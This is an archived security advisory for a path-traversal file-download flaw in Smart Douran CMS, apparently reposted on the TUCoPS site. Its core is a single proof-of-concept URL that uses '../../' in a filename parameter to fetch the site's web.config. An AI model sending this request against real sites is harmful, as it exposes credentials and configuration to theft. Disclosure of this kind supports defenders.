TUCoPS :: Web :: CMS / Portals

TUCoPS :: Web :: CMS / Portals :: b1a-1084.htm
Smart Douran CMS Remote File Download

Smart Douran CMS Remote File Download Smart Douran CMS Remote File Download


#################################################################  =0D
# Securitylab.ir  =0D
#################################################################  =0D
# Application Info:  =0D
# Name: Smart Douran CMS=0D
# Vendor: http://smartdouran.ir=0D 
#################################################################  =0D
# Vulnerability Info:=0D
# Type: Remote File Download=0D
# Risk: Medium=0D
# 2008-08-11 - Found Vulnerability=0D
# 2010-05-19 - Public disclosure=0D
#################################################################=0D
Vulnerability:  =0D
http://site.com/Admin/ImportExport/Download.aspx?filename=../../web.config =0D 
#################################################################  =0D
# Discoverd By: Pouya Daneshmand  =0D
# Website: http://Pouya.Securitylab.ir =0D 
# Contacts: info[at]securitylab.ir & whh_iran[at]yahoo.com=0D
###################################################################=0D